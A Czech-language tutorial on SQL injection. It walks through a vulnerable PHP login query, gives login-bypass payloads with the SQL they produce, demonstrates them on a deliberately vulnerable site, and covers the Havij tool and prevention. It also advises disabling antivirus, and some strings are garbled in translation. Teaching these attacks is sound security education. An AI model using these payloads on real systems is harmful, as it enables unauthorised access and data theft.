Kurz SQL Injection: Učte se s příkladem

⚡ Chytré shrnutí

SQL injection je útok, který zneužívá dynamické SQL příkazy, aby obešel ověřování nebo zpřístupnil data, a zneužívá webové aplikace, které vytvářejí dotazy z neošetřených uživatelských vstupů. Tato stránka ukazuje, jak útok funguje a jak mu předcházet.

  • 💉 Definice: SQL injection vkládá škodlivý SQL kód do dotazu prostřednictvím neověřeného vstupního pole.
  • 🔓 Dopad: Úspěšný útok dokáže obejít přihlášení a číst, upravovat nebo mazat záznamy.
  • 🧪 Příklad: Podmínka s hodnotou vždy pravdivá a komentář promění kontrolu přihlášení v obcházení.
  • 🛠️ Nástroje: SQLMap a jSQL automatizují detekci a využití injektovatelných parametrů.
  • 🛡️ Prevence: Parametrizované dotazy, ověřování vstupu a účty s nejnižšími oprávněními tuto mezeru uzavírají.
  • 🤖 Moderní hrana: Skenery a firewally řízené umělou inteligencí označují vzory vkládání dat, které opravené signatury přehlédnou.

Tutoriál k SQL injection

Co je to SQL Injection?

SQL Injection je útok, který zneužívá dynamické SQL příkazy tak, že zakomentuje určité části příkazu nebo přidá podmínku, která bude vždy pravdivá. Využívá konstrukčních nedostatků ve špatně navržených webových aplikacích k zneužití SQL příkazů ke spuštění škodlivého SQL kódu.

Data jsou jednou z nejdůležitějších součástí informačních systémů. Webové aplikace založené na databázích používají organizace k získávání dat od zákazníků. SQL je zkratka pro strukturovaný dotazovací jazykPoužívá se k načítání a manipulaci s daty v databázi.

Schéma, jak SQL injection manipuluje s dynamickým databázovým dotazem

Jak funguje útok SQL injection?

Typy útoků, které lze provést pomocí SQL injection, se liší v závislosti na typu databázového enginu. Útok funguje na dynamických SQL příkazech. Dynamický příkaz je příkaz, který je generován za běhu pomocí parametrů předaných z webového formuláře nebo řetězce dotazu URI.

Příklad SQL Injection

Uvažujme jednoduchou webovou aplikaci s přihlašovacím formulářem. Kód pro HTML formulář je uveden níže.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

TADY,

  • Výše uvedený formulář přijímá e-mailovou adresu a heslo a poté je odesílá do PHP soubor s názvem index.php.
  • Má možnost ukládat přihlašovací relaci do souboru cookie. To jsme odvodili ze zaškrtávacího políčka remember_me. Pro odeslání dat používá metodu post. To znamená, že hodnoty se nezobrazují v souboru cookie. URL.

Předpokládejme, že příkaz na backendu pro kontrolu ID uživatele vypadá takto.

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);

TADY,

  • Výše uvedený příkaz používá hodnoty pole $_POST[] přímo bez jejich sanitizace.
  • Heslo je hašováno pomocí algoritmu MD5.

Ukážeme si útok SQL injection pomocí SQL Fiddle. Otevři URL http://sqlfiddle.com/ ve vašem webovém prohlížeči. Zobrazí se následující okno.

Poznámka: Budete muset napsat SQL příkazy.

Prázdný SQL Fiddle okno připravené pro schéma a dotaz

Krok 1) Zadejte tento kód do levého panelu.

CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('m@m.com',md5('abc'));

Krok 2) Klikněte na Vytvořit schéma.

Krok 3) Zadejte tento kód do pravého panelu.

select * from users;

Krok 4) Klikněte na Spustit SQL. Zobrazí se následující výsledek.

SQL Fiddle výsledek zobrazující vrácený záznam jednoho uživatele

Předpokládejme, že uživatel zadá admin@admin.sys a heslo 1234. Příkaz provedený pro databázi by vypadal takto:

SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');

Výše uvedený kód lze zneužít zakomentováním části s heslem a přidáním podmínky, která bude vždy pravdivá. Předpokládejme, že útočník zadá do pole e-mailové adresy následující vstup.

xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]

xxx pro heslo.

Vygenerovaný dynamický příkaz bude vypadat následovně.

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

TADY,

  • xxx@xxx.xxx končí jednoduchou uvozovkou, která doplňuje řetězcovou uvozovku.
  • OR 1 = 1 LIMIT 1 je podmínka, která bude vždy pravdivá a omezuje vrácené výsledky pouze na jeden záznam.
  • — ' AND … je komentář SQL, který eliminuje část hesla.

Zkopírujte výše uvedený SQL příkaz a vložte ho do SQL Fiddle Spusťte textové pole SQL, jak je znázorněno níže.

SQL Fiddle vrácení záznamu po spuštění vložené podmínky

Hacking Activity: SQL Inject a Web Application

Máme jednoduchou webovou aplikaci na http://www.techpanda.org/ ...který je zranitelný vůči útokům SQL Injection pouze pro demonstrační účely. Výše ​​uvedený kód HTML formuláře je převzat z přihlašovací stránky. Aplikace poskytuje základní zabezpečení, jako je například sanitace pole e-mailu. To znamená, že výše uvedený kód nelze použít k obejití přihlášení.

Abychom se tomu vyhnuli, využijeme místo toho pole pro heslo. Následující diagram ukazuje kroky, které je třeba dodržet.

Vývojový diagram kroků pro vložení pole hesla do přihlašovacího formuláře

Předpokládejme, že útočník poskytne následující vstup.

  • Krok 1: Zadejte xxx@xxx.xxx jako e-mailovou adresu
  • Krok 2: Zadejte xxx') NEBO 1 = 1 — ]

Přihlašovací formulář s textovým řetězcem zadaným do pole pro heslo

  • Klikněte na tlačítko Odeslat.
  • Budete přesměrováni na řídicí panel.

Vygenerovaný SQL příkaz bude vypadat následovně.

SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');

Níže uvedený diagram znázorňuje, jak je příkaz generován.

Rozklad generování vloženého SQL příkazu

TADY,

  • Příkaz inteligentně předpokládá, že je použito šifrování md5.
  • Doplňuje jednoduchou uvozovku a uzavírací závorku.
  • Připojí k příkazu podmínku, která bude vždy pravdivá.

Obecně platí, že úspěšný útok kombinuje několik technik, jako jsou ty uvedené výše.

Další typy útoků SQL Injection

SQL injections mohou napáchat více škody než jen obcházení přihlašovacích algoritmů. Mezi útoky patří například:

  • Mazání dat
  • Aktualizace dat
  • Vkládání dat
  • Provádění příkazů na serveru, které mohou stahovat a instalovat škodlivé programy, jako jsou trojské koně
  • Export cenných dat, jako jsou údaje o kreditní kartě, e-mail a hesla, na vzdálený server útočníka
  • Získání přihlašovacích údajů uživatelů atd.
  • SQL injection na základě cookies
  • Chybová injekce SQL
  • Blind SQL Injection

Výše uvedený seznam není vyčerpávající; pouze vám dává představu o tom, co SQL Injection dokáže.

Automatizační nástroje pro SQL Injection

Ve výše uvedeném příkladu jsme použili manuální techniky útoku založené na našich rozsáhlých znalostech SQL. Existují automatizované nástroje, které vám mohou pomoci provést útoky efektivněji a v co nejkratším čase. Mezi tyto nástroje patří:

Jak zabránit útokům SQL injection

Organizace může přijmout následující zásady, aby se chránila před útoky SQL Injection.

  • Uživatelským vstupům by se nikdy nemělo věřit – Před použitím v dynamických SQL příkazech musí být vždy „sanitizován“.
  • Uložené procedury – tyto mohou zapouzdřovat SQL příkazy a zacházet se všemi vstupy jako s parametry.
  • Připravené výkazy – připravené příkazy fungují tak, že nejprve vytvoří SQL příkaz a poté se se všemi odeslanými uživatelskými daty zachází jako s parametry. Toto nemá žádný vliv na syntaxi SQL příkazu.
  • Pravidelné výrazy – tyto lze použít k detekci potenciálně škodlivého kódu a jeho odstranění před spuštěním SQL příkazů.
  • Přístupová práva uživatelů k databázovému připojení – účtům používaným k připojit k databázi. To může pomoci snížit výkon příkazů SQL na serveru.
  • Chybové zprávy – tyto by neměly odhalovat citlivé informace ani přesné místo, kde k chybě došlo. Místo zobrazení příkazů SQL, které chybu způsobily, lze použít jednoduché vlastní chybové zprávy, například „Omlouváme se, došlo k technickým chybám. Technický tým byl kontaktován. Zkuste to prosím znovu později“.

Hacking Activity: Použijte Havij pro SQL Injection

V tomto praktickém scénáři používáme program Havij Advanced SQL Injection k prohledání webových stránek a nalezení zranitelností.

Poznámka: Havij je zastaralý, neudržovaný Windows nástroj — SQLMap výše je aktuálním standardem s otevřeným zdrojovým kódem.

Poznámka: Váš antivirový program jej může kvůli jeho povaze označit. Měli byste jej přidat do seznamu vyloučených programů nebo pozastavit jeho antivirový program.

Obrázek níže ukazuje hlavní okno programu Havij.

Hlavní okno nástroje Havij SQL injection

Výše uvedený nástroj lze použít k posouzení zranitelnosti webové stránky nebo aplikace.

Nejčastější dotazy

Pouze s písemným souhlasem vlastníka webu. Testování aplikace, kterou nevlastníte, je nezákonné podle zákonů, jako je americký zákon o počítačových podvodech a zneužívání. Rozsahy odměn za chyby definují, co je povoleno.

Ano. V žebříčku OWASP Top 10:2025 se injection umístil na 05. místě a testování stále nachází injection téměř v každé aplikaci. S tisíci nových CVE SQL injection ročně zůstává předním webovým rizikem.

MD5 je rychlý hash, nikoli šifrování, a útočníci ho dokážou rychle prolomit pomocí duhových tabulek a GPU. Pro hesla použijte místo toho pomalý algoritmus se solenou hodnotou, jako je bcrypt nebo Argon2.

Jakákoli databáze dotazovaná pomocí dynamicky sestaveného SQL — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, a SQLiteChyba spočívá ve způsobu, jakým aplikace zřetězuje uživatelské vstupy do dotazů, nikoli v databázovém enginu.

Firewally a skenery s umělou inteligencí se učí normální vzorce provozu a poté v reálném čase označují anomální vstupy, jako jsou vložené podmínky nebo komentáře. Modely strojového učení zachycují zmateněné datové zátěže, které fixní signatury přehlédnou.

Asistenti s umělou inteligencí, jako například GitHub Copilot mohou navrhovat parametrizované dotazy a validaci vstupu, ale také reprodukují nebezpečné vzorce. Každý návrh považujte za koncept, spárujte ho s bezpečnostním linterem a zkontrolujte.

SQL injection cílí na databázi vkládáním SQL do dotazů na straně serveru. Cross-site scripting cílí na ostatní uživatele vkládáním skriptů, které běží v jejich prohlížečích. Jeden způsob zpřístupňuje data, druhý zneužívá relace.

ORM (mapovač objektově-relačních dat) vytváří dotazy z objektů kódu s parametrizací ve výchozím nastavení, čímž zabraňuje většině SQL injection. Není však zcela spolehlivý – nezpracované dotazy a nebezpečné metody stále unikají, takže validace je stále důležitá.

Shrňte tento příspěvek takto: